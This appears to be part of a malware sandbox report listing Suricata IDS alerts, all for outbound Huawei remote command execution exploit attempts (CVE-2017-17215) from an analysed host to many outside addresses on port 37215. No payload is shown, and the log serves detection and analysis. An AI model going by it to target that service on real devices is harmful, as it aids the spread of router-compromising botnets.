Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37524 -> 41.103.121.35:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42658 -> 156.228.8.25:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37184 -> 41.93.241.64:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33544 -> 156.15.227.166:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55866 -> 156.68.138.126:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44852 -> 41.7.7.103:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45858 -> 156.252.34.119:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50072 -> 156.112.111.237:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36460 -> 41.121.20.163:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33334 -> 197.7.221.81:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60524 -> 197.94.55.209:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40306 -> 41.32.197.61:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37110 -> 156.196.97.204:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60804 -> 197.56.8.149:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57526 -> 156.198.67.203:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38706 -> 197.29.27.45:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44002 -> 197.160.183.42:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46928 -> 41.102.203.253:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43266 -> 156.228.148.175:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45814 -> 41.71.217.122:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58160 -> 197.7.80.57:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35676 -> 41.147.107.132:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60186 -> 156.15.115.61:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39942 -> 41.119.100.224:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52770 -> 156.74.174.9:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39706 -> 156.97.3.108:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51720 -> 156.9.1.62:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52094 -> 41.55.5.219:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59192 -> 156.215.146.232:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49784 -> 197.90.154.72:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49976 -> 197.71.89.68:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:57826 -> 41.81.245.124:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55122 -> 156.211.13.119:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48836 -> 41.176.3.251:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56276 -> 156.24.184.74:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49298 -> 41.90.124.245:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59542 -> 41.185.187.78:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51834 -> 156.222.230.128:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52212 -> 197.153.204.158:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42224 -> 156.152.77.121:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56142 -> 156.144.221.185:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50094 -> 156.154.219.215:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46284 -> 197.169.47.72:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39522 -> 156.93.186.164:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33468 -> 197.206.88.239:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55188 -> 197.181.201.71:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53274 -> 197.49.62.7:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55884 -> 41.243.83.13:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52482 -> 156.73.157.96:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47370 -> 156.22.71.139:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36092 -> 41.146.184.33:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49978 -> 197.56.146.34:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35306 -> 156.172.212.115:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35124 -> 41.210.137.100:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34426 -> 156.233.49.226:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53188 -> 41.154.117.250:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42070 -> 41.213.200.73:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35338 -> 197.200.173.97:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52492 -> 156.224.232.229:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60678 -> 156.100.4.160:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40966 -> 41.145.207.152:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33352 -> 41.231.143.196:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58528 -> 197.78.132.32:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60088 -> 156.155.185.214:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42222 -> 197.115.31.20:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39694 -> 197.19.239.208:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43554 -> 156.110.224.192:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51278 -> 41.201.10.202:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41706 -> 156.212.202.95:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51932 -> 156.214.68.98:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43118 -> 197.61.137.233:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43358 -> 156.20.24.103:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34896 -> 197.29.2.213:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33996 -> 197.234.121.237:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51924 -> 41.253.181.180:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44084 -> 156.191.85.75:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48376 -> 41.123.118.173:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40376 -> 41.141.39.137:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:50980 -> 156.88.55.106:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40878 -> 197.10.242.92:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39124 -> 197.84.216.15:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48208 -> 41.124.133.105:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37752 -> 156.124.250.23:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58854 -> 156.36.221.25:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38768 -> 156.199.215.78:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60178 -> 156.223.144.169:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44898 -> 156.36.51.231:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53232 -> 197.193.39.52:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58410 -> 156.63.48.112:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48068 -> 41.206.221.4:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51612 -> 156.80.45.236:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44064 -> 156.196.127.99:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60646 -> 156.184.134.85:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53014 -> 197.118.155.162:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:43924 -> 156.207.208.73:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:32780 -> 41.6.184.55:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53274 -> 156.131.248.248:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54588 -> 156.161.55.245:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59892 -> 156.32.183.41:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53542 -> 156.125.110.190:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51876 -> 41.110.87.225:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36322 -> 41.206.217.168:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:58900 -> 156.103.50.200:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34802 -> 197.42.54.201:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:56026 -> 41.114.141.158:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:35418 -> 41.219.111.19:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41320 -> 156.184.128.75:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42122 -> 197.161.78.217:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54450 -> 156.9.173.133:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46438 -> 197.216.205.44:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37532 -> 197.72.206.33:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59298 -> 197.76.150.216:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:44456 -> 156.243.42.146:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52562 -> 197.58.175.124:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41158 -> 197.206.159.179:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:38012 -> 41.132.104.150:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:41972 -> 41.231.238.172:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40418 -> 197.98.75.148:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33372 -> 156.41.157.113:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42346 -> 41.126.206.191:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48848 -> 197.68.74.133:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:59618 -> 197.84.253.185:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48214 -> 41.72.218.17:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46782 -> 41.149.36.112:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33810 -> 156.126.147.159:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:53964 -> 197.41.200.182:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34060 -> 41.131.40.164:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37822 -> 156.190.184.19:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:55492 -> 197.55.132.116:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46260 -> 156.166.209.196:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:36556 -> 197.163.232.58:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40430 -> 156.185.63.71:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39894 -> 41.150.102.212:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:39984 -> 197.22.60.61:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:33972 -> 41.113.31.144:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48998 -> 41.249.12.127:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:54546 -> 41.168.12.102:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42472 -> 156.60.195.206:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:48040 -> 41.1.145.144:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:40262 -> 156.42.166.221:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46152 -> 197.107.207.131:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:52292 -> 156.126.200.175:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:60550 -> 156.240.192.197:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47336 -> 156.26.171.128:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:51348 -> 197.116.210.230:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45060 -> 41.218.37.60:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34186 -> 197.242.135.34:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:37934 -> 156.143.124.66:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:49546 -> 197.69.143.158:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:46902 -> 156.150.11.107:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:47628 -> 197.99.192.124:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:45628 -> 197.188.135.64:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:42350 -> 197.148.38.33:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.14:34952 -> 156.196.119.180:37215
